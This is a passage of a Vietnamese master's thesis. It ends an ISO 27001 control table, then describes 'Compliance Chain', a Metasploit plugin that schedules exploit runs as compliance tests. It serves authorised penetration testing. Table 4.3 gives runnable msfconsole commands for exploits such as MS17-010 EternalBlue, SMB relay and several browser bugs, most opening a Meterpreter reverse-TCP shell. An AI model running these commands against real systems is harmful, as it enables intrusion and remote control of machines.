Mục tiêu: Duy trì mức độ bảo mật thông tin đã thỏa thuận và cung cấp dịch vụ phù
hợp với các thỏa thuận của nhà cung cấp
A.15.2.1 Theo dõi và xem xét
các dịch vụ của nhà
cung cấp
Các tổ chức phải thường xuyên theo dõi,
xem xét và đánh giá việc cung cấp dịch vụ
của nhà cung cấp
A.15.2.2 Quản lý các thay đổi
đối với dịch vụ của nhà
cung cấp
Các thay đổi đối với việc cung cấp dịch vụ
của nhà cung cấp bao gồm việc duy trì, cải
tiến các chính sách, thủ tục và kiểm soát an
toàn thông tin hiện có sẽ được quản lý, có
tính đến mức độ quan trọng của thông tin
kinh doanh, hệ thống, quy trình liên quan,
đánh giá lại rủi ro.
A.16 Quản lý sự cố an toàn thông tin
A.16.1 Quản lý sự cố và cải tiến an toàn thông tin
Mục tiêu: Đảm bảo một cách tiếp cận nhất quán, hiệu quả trong việc quản lý các sự
cố an toàn thông tin, bao gồm cả truyền thông về các sự kiện và điểm yếu an toàn.
A.16.1.1 Thủ tục và trách nhiệm Các trách nhiệm và thủ tục quản lý sẽ được
thiết lập để đảm bảo phản ứng nhanh
chóng, hiệu quả, có trật tự đối với các sự cố
an toàn thông tin.
A.16.1.2 Báo cáo sự cố an toàn
thông tin
Các sự kiện an toàn thông tin phải được
báo cáo thông qua các kênh quản lý thích
hợp càng nhanh càng tốt.
37
A.16.1.3 Báo cáo điểm yếu trong
an toàn thông tin
Nhân viên, nhà thầu sử dụng hệ thống
thông tin và dịch vụ của tổ chức phải được
yêu cầu lưu ý, báo cáo bất kỳ điểm yếu an
toàn thông tin được quan sát hoặc nghi ngờ
nào trong hệ thống hoặc dịch vụ.
A.16.1.4 Đánh giá và quyết định
sự kiện an toàn thông
tin
Các sự kiện an toàn thông tin sẽ được đánh
giá và quyết định nếu chúng được xếp vào
loại sự cố an toàn thông tin
A.16.1.5 Ứng phó sự cố an toàn
thông tin
Sự cố an toàn thông tin phải được ứng phó
theo các quy trình đã được lập thành văn
bản
A.16.1.6 Học từ những sự cố an
toàn thông tin
Kiến thức thu được từ việc phân tích và giải
quyết các sự cố an toàn thông tin sẽ được
sử dụng để giảm khả năng xảy ra hoặc tác
động của các sự cố trong tương lai
A.16.1.7 Thu thập bằng chứng Tổ chức phải xác định, áp dụng các thủ tục
để xác định, thu thập và bảo quản thông tin
có thể dùng làm bằng chứng
A.17 Quản trị duy trì hoạt động liên tục của doanh nghiệp
A.17.1 Bảo vệ liên tục thông tin
Mục tiêu: Tính liên tục về bảo mật thông tin sẽ được đưa vào hệ thống quản lý kinh
doanh của tổ chức
A.17.1.1 Lập kế hoạch liên tục
về an toàn thông tin
Tổ chức phải xác định các yêu cầu của
mình đối với an toàn thông tin và tính liên
tục của việc quản lý an toàn thông tin trong
các tình huống bất lợi.
A.17.1.2 Thực hiện tính liên tục
về an toàn thông tin
Tổ chức phải thiết lập, lập hồ sơ, thực hiện
và duy trì các quá trình, thủ tục, kiểm soát
để đảm bảo mức độ liên tục cần thiết cho
an ninh thông tin trong một tình huống bất
lợi
A.17.1.3 Xác minh, xem xét và
đánh giá tính liên tục
về an toàn thông tin
Tổ chức phải xác minh các biện pháp kiểm
soát tính liên tục về an toàn thông tin đã
được thiết lập và thực hiện theo định kỳ để
đảm bảo rằng chúng có hiệu lực, hiệu quả
trong các tình huống bất lợi.
A.17.2 Dự phòng
Mục tiêu: Đảm bảo có các phương tiện xử lý thông tin
38
A.17.2.1 Tính sẵn có của các
phương tiện xử lý
thông tin
Các phương tiện xử lý thông tin phải được
thực hiện với khả năng dự phòng đủ để đáp
ứng các yêu cầu về tính khả dụng
A.18 Tuân thủ
A.18.1 Tuân thủ các yêu cầu pháp lý và hợp đồng
Mục tiêu: Để tránh vi phạm các nghĩa vụ pháp lý, luật định, quy định hoặc hợp đồng
liên quan đến bảo mật thông tin và bất kỳ yêu cầu bảo mật nào.
A.18.1.1 Phân biệt điều lệ áp
dụng và những yêu cầu
ràng buộc hợp đồng
Tất cả các yêu cầu về luật pháp, quy định,
hợp đồng liên quan, cách tiếp cận của tổ
chức để đáp ứng các yêu cầu này phải được
xác định rõ ràng, lập thành văn bản, cập
nhật cho từng hệ thống thông tin và tổ chức
A.18.1.2 Quyền sở hữu trí tuệ Các thủ tục thích hợp sẽ được thực hiện để
đảm bảo tuân thủ các yêu cầu lập pháp,
quy định, hợp đồng liên quan đến quyền sở
hữu trí tuệ và việc sử dụng các sản phẩm
phần mềm độc quyền
A.18.1.3 Bảo vệ hồ sơ Hồ sơ phải được bảo vệ khỏi mất mát, phá
hủy, giả mạo, truy cập trái phép, phát hành
trái phép, phù hợp với các yêu cầu của
pháp luật, quy định, hợp đồng và kinh
doanh.
A.18.1.4 Quyền riêng tư và bảo
vệ thông tin cá nhân
Quyền riêng tư và bảo vệ thông tin nhận
dạng cá nhân sẽ được đảm bảo theo yêu
cầu trong luật, quy định liên quan nếu có
A.18.1.5 Quy định kiểm soát mật
mã
Kiểm soát mật mã sẽ được sử dụng tuân
theo tất cả các thỏa thuận, luật pháp và quy
định có liên quan
A.18.2 Đánh giá an toàn thông tin
Mục tiêu: Đảm bảo rằng an ninh thông tin được thực hiện, vận hành theo các chính
sách và thủ tục của tổ chức
A.18.2.1 Đánh giá độc lập về an
toàn thông tin
Phương pháp tiếp cận của tổ chức để quản
lý an toàn thông tin và việc thực hiện nó
(nghĩa là các mục tiêu kiểm soát, các biện
pháp kiểm soát, chính sách, quy trình, thủ
tục về an toàn thông tin) sẽ được xem xét
một cách độc lập vào các khoảng thời gian
đã định hoặc khi có những thay đổi quan
trọng.
39
A.18.2.2 Tuân thủ các chính
sách và tiêu chuẩn bảo
mật
Người quản lý phải thường xuyên xem xét
việc tuân thủ các thủ tục, quy trình xử lý
thông tin trong phạm vi trách nhiệm của họ
với các chính sách, tiêu chuẩn bảo mật
thích hợp và bất kỳ yêu cầu bảo mật nào
khác
A.18.2.3 Đánh giá tuân thủ kỹ
thuật
Hệ thống thông tin phải được thường xuyên
xem xét để tuân thủ các chính sách và tiêu
chuẩn an toàn thông tin của tổ chức
40
Chương 4. XÂY DỰNG CÔNG CỤ LẬP LỊCH QUÉT TỰ ĐỘNG VÀ TUÂN
THỦ TIÊU CHUẨN CHO METASPLOIT FRAMEWORK
4.1. Tính năng Automatic Task Chain trong Metasploit Pro
Task Chain [15] là 1 chuỗi các tác vụ lặp đi lặp lại thường xuyên được tự động
hóa và lập lịch chạy định kỳ theo 1 cấu hình định trước.
Chuỗi tác vụ bao gồm nhiều tác vụ cho 1 công việc được cấu hình các điều kiện
cần thiết để thực hiện tác vụ đó, sắp xếp theo thứ tự thực hiện.
Danh sách thông tin Task Chain gồm:
- Lập lịch (lịch trình theo định kỳ, lịch trình đơn, ko theo lịch trình)
- Tên tác vụ, chuỗi các tác vụ thực hiện
- Trạng thái tác vụ (không chạy, đang chạy, lần chạy cuối, không thành công)
Hình 4.1. Danh sách Task Chains
Danh sách các Module được sử dụng hỗ trợ trên Metaspoit Pro gồm:
- Scan: quét mạng, lỗ hổng, web
- Import: nhập dữ liệu quét từ ứng dụng bên ngoài vào như Nessus, Nexpose
- Bruteforce: kết hợp chữ cái, ký tự và số để dò thông tin tài khoản
- Exploit: tự động khai thác lỗ hổng dựa vào các cổng, lỗ hổng được quét
- Module run: lựa chọn các module cho tác vụ
- Collect evidence: thu thập dữ liệu từ các máy chủ bị khai thác
- Resource script: tự động hóa thực thi các tập lệnh sẵn có
- Clean up: đóng các phiên đang mở trên máy chủ bị khai thác
- Report: tạo các báo cáo cho kết quả kiểm tra
41
Hình 4.2. Danh sách Module trong Task Chain
Để tạo Task Chain mới tại giao diện Metasploit Framework Menu chọn Task →
chọn Chains → chọn New Task Chain → Nhập tên Task Chain là daily.
Cài đặt cho từng tác vụ quét máy chủ, thiết lập cấu hình khai thác lỗ hổng điều
kiện cần thiết để thực hiện chuỗi các nhiệm vụ, tạo báo cáo và lập lịch chạy tự động.
Hình 4.3. Danh sách thao tác trong Module
42
Chọn Scan → Exploit → Collect → Report. Chọn Save and Run Now để tiến
hành thực thi các tác vụ.
Hình 4.4. Danh sách các thao tác Module trong Task Chain
Lập lịch cho các tác vụ (Schedule): gồm các lịch biểu 1 lần, hàng giờ, hàng
ngày, hàng tuần, hàng tháng
44
Kịch bản tập lệnh (Resource Script - rc): là 1 tập hợp các câu lệnh khai thác
được thực thi tự động, tuần tự.
Hình 4.6. Lập lịch tự động chạy Chain
4.2. Phân tích yêu cầu
Dựa vào các yêu cầu cần kiểm soát của chuẩn an toàn thông tin ISO 27001 tôi đã
phân tích ra thành các nhóm Exploit, tìm kiếm các Module liên quan đến các Exploit
trên https://www.rapid7.com/db/?q=&type=metasploit để từ đó lấy các tham số cấu
hình cho file Resource Scripts sử dụng tự động quét hàng loạt các Exploit tương ứng.
Nếu công cụ quét tự động khai thác thành công các Exploit thì sẽ gửi thông báo
chi tiết cho quản trị biết thông tin máy đang tồn tại lỗ hổng để có thể kiểm tra lại
Nếu công cụ quét tự động khai thác không thành công Exploit thì đảm bảo hệ
thống không dính phải các lỗ hổng và hoàn toàn yên tâm.
Lập lịch quét tự động Crontab hàng ngày, hàng tuần, hàng tháng dựa trên các yêu
cầu cụ thể của hệ thống.
45
4.3. Lập danh sách các mã khai thác
Phân tích yêu cầu từ chuẩn ISO 27001:
Từ các yêu cầu A.9 là kiểm soát truy cập thì tôi tiến hành lựa chọn các Exploit liên quan trong hệ điều hành Windows gồm các
Exploit MS 14-002, MS13-059, MS02-063, MS15-001 có liên quan đến các dịch vụ Internet Explorer, SMB, ...
Từ các yêu cầu của chuẩn A.8 là quản lý tài sản thông tin, tôi tiến hành lựa chọn các Exploit liên quan gồm MS13-022, MS11-
081, MS07-029, MS08-068 liên quan đến Memory Access, Internet Explorer, DNS RPC, …
Từ các yêu cầu của chuẩn A.12 là an toàn hệ điều hành, tôi tiến hành lựa chọn các Exploir liên quan gồm MS17-010, MS15-011,
MS14-012, MS10-002 có liên quan đến NtApphelpCacheControl, Internet Explorer
Tên Exploit Mô tả Mức độ
xếp hạng
Mục tham
chiếu
chuẩn ISO
27001
MS14-002 Microsoft
Windows ndproxy.sys
Local Privilege
Escalation
exploit/windows/local/
ms_ndproxy
Module khai thác lỗ hổng trong trình điều khiển
ndproxy.sys trên hệ thống Windows XP SP3 và
Windows 2003 SP2, khi xử lý Mã điều khiển IO
0x8fff23c8 hoặc 0x8fff23cc, với đầu vào do người
dùng cung cấp để truy cập một mảng một cách
không an toàn và giá trị được sử dụng để thực hiện
lệnh gọi, dẫn đến tham chiếu con trỏ NULL.
Bình
thường
A.9
MS13-059 Microsoft
Internet Explorer
CFlatMarkupPointer
Use-After-Free
exploit/windows/brows
er/ms13_059_cflatmar
kuppointer
Module lỗi hỏng bộ nhớ trong Microsoft Internet
Explorer. do sự thay đổi vị trí của phần tử body,
cũng là khi đối tượng MSHTML!
CFlatMarkupPointer :: `vftable 'được tạo trong
lệnh" SelectAll "và đối tượng này sẽ được sử dụng
sau đó. Kiểm soát thành công bộ nhớ được giải
Bình
thường
A.9
46
phóng có thể thúc đẩy việc thực thi mã tùy ý
MS02-063 PPTP
Malformed Control Data
Kernel Denial of Service
auxiliary/dos/pptp/ms0
2_063_pptp_dos
Module khai thác tràn khi gửi các gói dữ liệu điều
khiển PPTP bất thường đến máy chủ PPTP RAS
dựa trên Microsoft Windows 2000 SP0-3 và XP
SP0-1 (Dịch vụ truy cập từ xa). Bộ nhớ bị ghi đè
dẫn đến một BSOD.
Bình
thường
A.9
MS13-022 Microsoft
Silverlight ScriptObject
Unsafe Memory Access
exploit/windows/brows
er/ms13_022_silverligh
t_script_object
Module khai thác một lỗ hổng trong Microsoft
Silverlight. Lỗ hổng tồn tại trên phương thức
Initialize () từ
System.Windows.Browser.ScriptObject, phương
thức này truy cập bộ nhớ theo cách không an toàn.
Được thử nghiệm thành công trên IE6 - IE10,
Windows XP SP3 / Windows 7 SP1.
Bình
thường
A.8
MS11-081 Microsoft
Internet Explorer Option
Element Use-After-Free
exploit/windows/brows
er/ms11_081_option
Module khai thác lỗ hổng trong Microsoft Internet
Explorer. Lỗi bộ nhớ có thể xảy ra khi bộ đệm ẩn
Option không được cập nhật đúng cách, cho phép
các phương pháp JavaScript khác truy cập vào phần
tử Option đã bị xóa và dẫn đến việc thực thi mã
theo yêu cầu của người dùng.
Bình
thường
A.8
MS07-029 Microsoft
DNS RPC Service
extractQuotedChar()
Overflow (SMB)
exploit/windows/smb/
ms07_029_msdns_zon
ename
Module khai thác lỗi tràn bộ đệm ngăn xếp trong
giao diện RPC của dịch vụ Microsoft DNS. Module
này khai thác dịch vụ RPC bằng đường dẫn \
DNSSERVER có sẵn qua SMB.
Thủ công A.8
MS08-068 Microsoft exploit/windows/smb/s Module sẽ chuyển tiếp các yêu cầu xác thực SMB Nghiêm A.8
47
Windows SMB Relay
Code Execution
mb_relay đến một máy chủ khác, có quyền truy cập vào phiên
SMB đã xác thực nếu thành công. Cách dễ nhất để
buộc cố gắng xác thực SMB là nhúng một đường
dẫn UNC (\\ SERVER \ SHARE) vào một trang
web hoặc thư email. Khi nạn nhân xem trang web
hoặc email, hệ thống của họ sẽ tự động kết nối với
máy chủ được chỉ định trong phần chia sẻ UNC (địa
chỉ IP của hệ thống chạy mô-đun này) và cố gắng
xác thực.
trọng
MS17-010 EternalBlue
SMB Remote Windows
Kernel Pool Corruption
exploit/windows/smb/
ms17_010_eternalblue
Module là một cổng khai thác ETERNALBLUE
của Equation Group, một phần của bộ công cụ
FuzzBunch do Shadow Brokers phát hành. Có một
hoạt động ghi nhớ tràn bộ đệm trong Srv!
SrvOs2FeaToNt. Kích thước được tính bằng Srv!
SrvOs2FeaListSizeToNt, với lỗi toán học trong đó
DWORD bị trừ thành WORD. Module sẽ cố gắng
sử dụng đăng nhập Ẩn danh, theo mặc định, để xác
thực nhằm thực hiện khai thác. Nếu người dùng
cung cấp thông tin đăng nhập trong các tùy chọn
SMBUser, SMBPass và SMBDomain, nó sẽ sử
dụng những thông tin đó thay thế.
Bình
thường
A.12
Google Chrome 67, 68
and 69 Object.create
exploit
exploit/multi/browser/c
hrome_object_create
Module khai thác sự nhầm lẫn về loại trong trình
biên dịch Google Chromes JIT. Thao tác
Object.create có thể được sử dụng để gây ra sự
nhầm lẫn kiểu giữa PropertyArray và
Thủ công A.12
48
NameDictionary.. Module này có thể nhắm mục
tiêu quy trình trình kết xuất (mục tiêu 0), nhưng
Google Chrome phải được khởi chạy với cờ --no-
sandbox để tải trọng thực thi thành công.
MS15-001 Microsoft
Windows
NtApphelpCacheControl
Improper Authorization
Check
exploit/windows/local/
ntapphelpcachecontrol
NtApphelpCacheControl (mã thực sự nằm trong
ahcache.sys) cho phép dữ liệu tương thích ứng dụng
được lưu vào bộ nhớ đệm để sử dụng lại nhanh
chóng khi các quy trình mới được tạo. Người dùng
bình thường có thể truy vấn bộ đệm nhưng không
thể thêm các mục mới được lưu trong bộ đệm vì
thao tác này bị hạn chế đối với quản trị viên. Điều
này được kiểm tra trong hàm
AhcVerifyAdminContext. Chức năng này có một lỗ
hổng trong đó nó không kiểm tra chính xác mã
thông báo mạo danh của người gọi để xác định xem
người dùng có phải là quản trị viên hay không. Nó
đọc mã thông báo mạo danh của người gọi bằng
PsReferenceImpersonationToken và sau đó thực
hiện so sánh giữa SID của người dùng trong mã
thông báo với SID của LocalSystem. Nó không
kiểm tra mức độ mạo danh của mã thông báo, vì
vậy có thể lấy mã nhận dạng trên chuỗi từ quy trình
hệ thống cục bộ và bỏ qua kiểm tra này. Module
này hiện chỉ ảnh hưởng đến Windows 8 và
Windows 8.1 và yêu cầu quyền truy cập vào C: \
Bình
thường
A.12, A.9
49
Windows \ System \ ComputerDefaults.exe.
MS14-012 Microsoft
Internet Explorer
CMarkup Use-After-
Free
exploit/windows/brows
er/ms14_012_cmarkup
_uaf
Module khai thác việc sử dụng điều kiện miễn phí
trên Internet Explorer , sử dụng Flash Player 12 để
bỏ qua ASLR và DEP.
Bình
thường
A.12
MS10-002 Microsoft
Internet Explorer
"Aurora" Memory
Corruption
exploit/windows/brows
er/ms10_002_aurora
Module khai thác lỗi hỏng bộ nhớ trong Internet
Explorer. Mã khai thác là một cổng trực tiếp của
mẫu công khai được xuất bản đến trang web phân
tích phần mềm độc hại Wepawet.
Bình
thường
A.12
Bảng 4.1. Danh sách các mã khai thác
50
4.4. Thiết kế kịch bản kiểm thử
Dựa trên các Exploit cùng loại thì tôi sẽ cho vào cùng 1 nhóm để thực hiện tuần
tự tác vụ mà ko ảnh hưởng đến dịch vụ đích, ảnh hưởng lớn đến hệ thống.
Các Exploit tấn công đến các dịch vụ khác nhau thì có thể thực hiện song song
được định nghĩa trong các Chains khác nhau.
Tất cả các Chains sẽ được gom vào 1 Profile để kiểm thử theo chuẩn ISO 27001
Danh sách Chains Bước 1 Bước 2 Bước 3 Bước 4 Bước 5
SMB MS07-029 MS08-068 MS17-010
Browser (IE, chrome) MS13-059 MS11-081 MS14-012 MS10-002 Chrome
object
create
Ndproxy
MS14-002
Denial of Service
MS02-063
Memory Access
MS13-022
DNS RPC Service
MS07-029
Bảng 4.2. Danh sách Chains
Sau khi hoàn tất kịch bản sẽ được nạp vào công cụ Compliance Chain mô tả ở các mục
tiếp theo.
4.5. Cấu trúc Compliance Chain
Dựa vào kiến trúc Plugin chuẩn và các tài liệu hỗ trợ lập trình của Metasploit
Framework [16], tôi đã thực hiện thiết kế công cụ Compliance Chain dưới dạng
Plugin, được gắn vào Framework thông qua lớp Msf::Plugin. Thông qua việc thừa kế
lớp Plugin này, công cụ có thể nạp được vào thông qua lệnh load và sử dụng đầy đủ
các thư viện, chức năng của Framework thông qua thực thể Framework giúp tương tác
với các công cụ của Msf và thực thể driver giúp tương tác với giao diện Console. Kiến
trúc mã nguồn được thể hiện trong các biểu đồ dưới đây.
52
4.5.2. Danh sách chức năng
Hình 4.8. Danh sách chức năng trong Compilance Chain
4.5.3. Các thao tác nạp kịch bản kiểm thử
Các bước sẽ được định nghĩa thông qua các Chains và Steps, mỗi 1 Step tương
ứng với 1 file RC đảm nhiệm thực thi 1 Exploit. Các Chains sẽ được nạp vào trình lập
lịch tự động của Linux là Crontab và thực hiện theo chu kỳ đã được định nghĩa trong
Chains.
53
Hình 4.9. Hướng dẫn thao tác Compliance Chain
Bước 1: Nạp công cụ Compliance Chain: load cc
Bước 2: Sử dụng lệnh Profiles để nạp các Profiles của phiên làm việc trước
54
Profiles thể hiện các Profile đang có hiện tại, với nhãn D(disabled) và E(enabled),
profile E là Profile được kích hoạt để nạp vào trình chạy tự động Crontab.
Dấu nhắc “ ->” thể hiện Profile đang được trỏ tới để tiếp tục thực hiện các thao tác
phía sau
Bước 3: Kiểm tra kết nối database:
Bước 3.1: Kiểm tra kết nối từ msfconsole: db_status
Chưa có kết nối
Đã kết nối
Bước 3.2: Lưu lại kết nối cho lần dùng msfconsole sau: db_save
Bước 3.3: Kiểm tra đạt điều kiện database của công cụ: check_db
Chưa có kết nối
Đã kết nối
Bước 4: Thao tác với Profile
Bước 4.1: Tạo Profile mới: profile newp
Chương trình sẽ trỏ tới Profile mới
Bước 4.2: Kiểm tra Profile: profile
55
Bước 4.3: Cấu hình Param cho Profile hiện tại profile * params
Sửa Param meter và thêm Param ip
Bước 4.4: Tắt và bật Profile: profile * enable/disable
lệnh khởi chạy Msf cùng với file điều khiển từng Chain sẽ được nạp vào Crontab để
điều khiển các Step
56
Bước 5: Quản lý Chain
Bước 5.1: Tạo Chain cho Profile: chain chain1
Nội dung của file điều khiển chain iso271.rc gồm 4 step 1 2 3 4
Mặc định Chain mới sẽ chạy hàng tuần vào lúc 9h sáng thứ 2, để cập nhật Chain chạy
hàng tháng
Bước 5.2: cập nhật lịch chạy: chain <tên> schedule
59
Bước 6.2: Di chuyển giữa các Step và kiểm tra Step: step prev/next
Bước 6.3: Cập nhật vị trí file rc có sẵn: step <tên> rc_path
60
Bước 6.4: Sửa file rc: step <tên> rc
File rc sẽ được tạo với nội dung động theo Params, các Param sẽ được thừa kế hoặc
ghi đè theo thứ tự từ Profile Params, Chain Params, Step Params. Sinh ra file thực thi
của step st1.rc
61
Nội dung step 2.rc
Bước 7: Lưu lại các thay đổi (thủ công) vào file cấu hình config.json. File config có
thể được chuyển sang máy khác để dùng như một cấu hình có thể chia sẻ được
Bước 8: Cài đặt/gỡ cài đặt các Profile đang enable vào Crontab:
cc_install/cc_uninstall
62
cc_uninstall để gỡ tất cả Profile
Crontab khác ngoài các Chain sẽ được bảo toàn
Bước 9: Crontab job sẽ được chạy tương tự như sau
63
Sau khi cài đặt các bước của chuẩn ISO 27001 vào thành Profile iso271, trong đó
có 5 Chain như trình bày ở bảng trong mục 4.4, trong các Chain có các Step là các
Exploit được mô tả như sau:
64
Mô tả các kịch bản:
Tham
chiếu
Mã
Exploit
Module trong Msf Mã lệnh kịch bản
A.9 MS14-002 exploit/windows/local/ms_ndproxy use exploit/windows/local/ms_ndproxy
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 1
exploit
A.9 MS13-059 exploit/windows/browser/ms13_059_cflatmarku
ppointer
use
exploit/windows/browser/ms13_059_cflatmarkuppointer
set SRVHOST <IP localhost>
set SRVPORT 8080
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
A.9 MS02-063 auxiliary/dos/pptp/ms02_063_pptp_dos use auxiliary/dos/pptp/ms02_063_pptp_dos
set RHOSTS <IP targets>
set RPORT 1723
run
A.8 MS13-022 exploit/windows/browser/ms13_022_silverlight_
script_object
use
exploit/windows/browser/ms13_022_silverlight_script_o
bject
65
set SRVHOST <IP localhost>
set SRVPORT 8080
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
A.8 MS11-081 exploit/windows/browser/ms11_081_option use exploit/windows/browser/ms11_081_option
set SRVHOST <IP localhost>
set SRVPORT 8080
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
A.8 MS07-029 exploit/windows/smb/ms07_029_msdns_zonena
me
use exploit/windows/smb/ms07_029_msdns_zonename
set RHOSTS <IP targets>
set RPORT 445
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
A.8 MS08-068 exploit/windows/smb/smb_relay use exploit/windows/smb/smb_relay
set RHOSTS <IP targets>
66
set RPORT 445
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
A.12 MS17-010 exploit/windows/smb/ms17_010_eternalblue use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP targets>
set RPORT 445
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
A.12 Google
Chrome
67, 68 and
69
Object.crea
te exploit
exploit/multi/browser/chrome_object_create use exploit/multi/browser/chrome_object_create
set SRVHOST <IP localhost>
set SRVPORT 8080
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
A.12,
A.9
MS15-001 exploit/windows/local/ntapphelpcachecontrol use exploit/windows/local/ntapphelpcachecontrol
set LHOST <IP localhost>
set LPORT 4444
67
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
A.12 MS14-012 exploit/windows/browser/ms14_012_cmarkup_u
af
use exploit/windows/browser/ms14_012_cmarkup_uaf
set SRVHOST <IP localhost>
set SRVPORT 8080
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
A.12 MS10-002 exploit/windows/browser/ms10_002_aurora use exploit/windows/browser/ms10_002_aurora
set SRVHOST <IP localhost>
set SRVPORT 8080
set LHOST <IP localhost>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set targets 0
exploit
Bảng 4.3. Mô tả kịch bản
68
Kết quả sau khi đưa vào công cụ sẽ hiển thị như sau:
Hình 4.10. Nạp kịch bản vào công cụ Compliance Chains
69
KẾT LUẬN
Đánh giá so sánh chức năng phát triển với các bản thương mại và các công cụ khác
Với Metasploit Pro:
Điểm mạnh của phiên bản Metasploit Pro so với bản Framework mã nguồn mở
đó là ở chức năng tự động hóa. Trong phát triển Metasploit, phiên bản Pro được tăng
cường khả năng vận hành, quản lý thông qua giao diện, phát triển chức năng trực tiếp
trên mã nguồn Ruby và phát triển sẵn các thủ tục tự động hóa thao tác trên Framework
(như task chain, smart intelligence, smart exploit, …).
Công cụ Compliance Chain do tôi thiết kế đã tái tạo lại gần đủ các luồng chức
năng cơ bản của chức năng Task Chain trong bản Pro. Do hạn chế về bản quyền phát
triển và thời lượng đề tài, nhiều chức năng nâng cao như tích hợp các Step với công cụ
bên thứ 3, tích hợp các chức năng khác của bản Pro vào Task Chain chưa thể thực hiện
được. Các chức năng cơ bản tạo lập chain, lập lịch, định nghĩa các hành động đều đã
được thử nghiệm tương tự như phiên bản Pro.
Nhờ có sự ra đời của Compliance Chain trên bản Framework với cơ sở là công
cụ tự động hóa các thao tác có sẵn trên Msf, các chức năng nâng cao trên nền thao tác
với Framework như bruteforce, smart exploit, auto scan, … có thể được phát triển dễ
dàng đem đến cho cộng đồng Msf các khả năng tương tự như bản pro.
Với các công cụ hỗ trợ GUI:
Công cụ hỗ trợ bản Framework là Armitage cung cấp giao diện và một số các
thao tác sẵn có dựa trên các lệnh của Msf. 2 chức năng giống với Compliance Chain
do tôi thiết kế là tự động khai thác dựa trên các dấu vết (Footprint) của hệ điều hành
máy đối tượng thu thập được và chức năng “Hell mode” (chế độ địa ngục) thực thi
toàn bộ Exploit đã biết trong cơ sở dữ liệu kịch bản của Armitage. Với chế độ tự động
khai thác, Armitage chỉ đưa ra các khai thác có thể dựa trên dấu vết thu thập được.
Thực hiện mục tiêu kiểm định yêu cầu của chuẩn an toàn thông tin, ta cần thực
hiện nhiều Exploit có liên quan mặc dù không phát hiện thấy dấu hiệu có khả năng
khai thác được từ các dấu vết. Bởi nếu không sẽ chỉ đảm bảo mục tiêu kiểm thử thông
qua các Exploit liên thuộc vủa chế độ tự động khai thác mà không đảm bảo vượt qua
mọi tiêu chí của chuẩn. Ngược lại chức năng “Hell mode” lại thực thi toàn bộ các
Exploit đã biết, điều này là nguy hiểm với bất kỳ một hệ thống thực tế nào. Thực vậy,
thông báo nhắc nhở về mối nguy hiểm khi thực thi chế độ hell mode được hiện lên
trước mỗi lần người dùng quyết định có thực sự thực thi toàn bộ hay không để tránh
các rủi ro gây sập, phá vỡ hệ thống. “Hell mode” vượt quá nhu cầu kiểm thử, gây tiêu
tốn tài nguyên và để sót lại nhiều mã độc trong hệ thống được kiểm thử.
Có thể thấy với phạm vi kiểm thử theo yêu cầu của chuẩn, phù hợp với mục tiêu
kinh doanh và yêu cầu thực tế, công cụ Compliance Chains thực hiện đúng, đủ, tốt
những gì được đặt ra và ít gây tổn hại tới hệ thống được kiểm định.
70
Kết quả đạt được
Sau thời gian tìm hiểu, nghiên cứu tài liệu và làm luận văn dưới sự hướng dẫn
của thầy TS. Nguyễn Đại Thọ tôi đã hoàn thành luận văn với đề tài “Nâng cấp ứng
dụng khai thác các lỗ hổng an ninh Metasploit Framework”. Luận văn đã đạt được các
kết quả như sau:
- Tìm hiểu về công cụ tấn công kiểm thử mã nguồn mở Metasploit, kiến trúc,
cách thức hoạt động.
- Tìm hiểu hệ thống quy chuẩn về an toàn thông tin và tiêu chuẩn ISO 27001.
- Tìm hiểu, phân tích các yêu cầu hệ thống dựa trên chuẩn ISO 27001, lập danh
sách các mã khai thác và thực hiện lên lịch quét tự động theo chuẩn ISO 27001.
- Xây dựng được quy trình phân tích, chuyển đổi các yêu cầu an ninh trong một
chuẩn thành các thực thi cụ thể thông qua công cụ Msf để kiểm định các lỗ hổng và
các đặc điểm không tuân thủ chuẩn của hệ thống.
- Xây dựng thành công công cụ triển khai thiết kế kịch bản và lên lịch chạy định
kỳ các kịch bản kiểm định Compliance Chains.
Hạn chế:
Công cụ được xây dựng chỉ tham chiếu đến các nhóm Exploit của các yêu cầu
dạng kỹ thuật. Các yêu cầu khác liên quan tới quản trị và quản lý con người thì công
cụ vẫn chưa đáp ứng được số hoá hoàn toàn. Cụ thể với chuẩn ISO 27001, công cụ chỉ
đáp ứng được 3 mục yêu cầu A.8, A.9 và A.12 của chuẩn ISO 27001 mà không tham
chiếu hết 14 yêu cầu của chuẩn.
Định hướng phát triển:
Từ những kết quả nghiên cứu thu được, đề tài có thể mở rộng phát triển theo
hướng sau:
- Phát triển thêm theo yêu cầu của nhiều chuẩn an toàn thông tin thuộc các lĩnh
vực chuyên ngành khác, mở rộng thêm danh sách các Exploit đáp ứng đầy đủ yêu cầu
của chuẩn.
- Nghiên cứu phát triển hệ thống phân tích kết quả dò quét hệ thống, gợi ý bản
vá lỗ hổng theo các kết quả thu thập được.
71
TÀI LIỆU THAM KHẢO
Tiếng Anh
1. Mike Chapple., David Seildl (2019), Pentest+ Study Guide, CompTIA.
2. David Maynor., K. K. Mookhey., Jacopo Cervini., Fairuzan Roslan., Kevin
Beaver (2007), Metasploit Toolkit for Penetration Testing, Exploit
Development, and Vulnerability Research.
Website
1. Metasploit Project. Retrieved from
https://en.wikipedia.org/wiki/Metasploit_Project
2. Introduction to metasploit framework. Retrieved from
https://www.slideshare.net/MostafaAbdelsallam/01-metasploit-kung-fu-
introduction
3. Metasploit Community Edition. Retrieved from https://www.offensive-
security.com/metasploit-unleashed/msf-community-edition/
4. Metasploit Pen Testing Tool. Retrieved from
